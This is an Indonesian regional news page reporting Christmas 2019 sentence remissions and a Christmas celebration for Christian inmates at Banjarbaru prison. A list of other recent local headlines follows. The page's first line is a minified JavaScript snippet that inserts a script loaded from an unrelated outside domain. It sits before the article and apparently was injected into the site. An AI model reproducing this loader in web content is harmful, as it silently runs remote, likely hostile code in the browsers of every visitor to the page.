(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Kentalnya Toleransi Beragama di Lapas Banjarbaru, dari Pemberian Remisi hingga Para Napi Merayakan Natal


BANJARBARU, Sukacita Natal juga turut dirasakan oleh para Narapidana (Napi) Kristiani di Lembaga Pemasyarakatan (Lapas) Kelas II B Banjarbaru. Sebab, pada Rabu (25/12) ini, mereka mendapatkan Remisi Khusus (RK) dari Pemerintah melalui Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham).

“Pada hari ini kita memberikan Remisi Natal 2019 kepada 10 napi Kristiani. Mereka semua mendapatkan pengurangan masa tahanan,” kata Kasubsi AO Lapas Banjarbaru, Hamzah.

Para napi Kristiani ini menerima pemotongan masa tahanan dengan lama yang berbeda. Seperti halnya 2 orang napi yang masa tahananannya dipotong 15 hari. Lalu, 7 orang napi yang mendapatkan pengurangan masa tahanan 1 bulan. Serta, 1 orang napi yang mendapakan pengurangan masa tahanan 1 bulan 15 hari.

Hamzah mengatakan pengajuan Surat Keputusan (SK) remisi ini telah dilakukan sejak bulan November lalu. Ia membeberkan, sebenarnya ada 18 napi Kristiani yang berada di Lapas Banjarbaru. Namun, lantaran adanya beberapa klasifikasi dan syarat yang harus dipenuhi, membuat beberapa napi kristiani lainnya tidak kebagian jatah remisi.

“Jadi, 8 napi ini belum memenuhi syarat. Baik itu statusnya ada yang masih tahanan (belum inkrah) dan belum menjalani 6 bulan masa pidananya,” tuturnya.

Remisi Natal tahun 2019 ini diserahkan langsung oleh Kepala Lapas Banjarbaru, Abdul Aziz. Pun, nampak raut wajah bahagia terpancarkan dari para napi.

“Kita berharap dengan diberikannya remisi ini, dapat menjadi motivasi para napi untuk lebih baik menjalani program pembinaan selama didalam Lapas. Hingga nantinya saat keluar dari sini, mereka dapat diterima kembali ke masyarakat,” kata Aziz.

Disisi lain, sebagai bentuk toleransi beragama, Lapas Banjarbaru juga turut mengizinkan para napi untuk merayakan natal didalam Lapas. Meskipun dengan suasana yang berbeda, namun perayaan natal yang sederhana ini memberikan sukacita kepada para Napi dan menujukan indahnya saling menghargai antar sesama umat agama.

Lantas, bagaimana dengan kunjungan dari kerabat napi di hari Natal? Dalam hal ini, Kepala Keamanan Ketertiban (Kamtib), Fikri Rahmadian, mengakui bahwa Lapas Banjarbaru memang tidak membuka kunjungan di hari libur. Namun, dirinya tetap membolehkan kunjungan dari kerabat napi kristiani.

“Walaupun hari ini tanggal merah, kita tetap mengizinkan jika ada keluarga atau kerabat napi kristiani yang ingin berkunjung. Kita ingin napi juga dapat merayakan kegembiraan Natal hari ini, dengan keluarganya,” kata Fikri.(rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.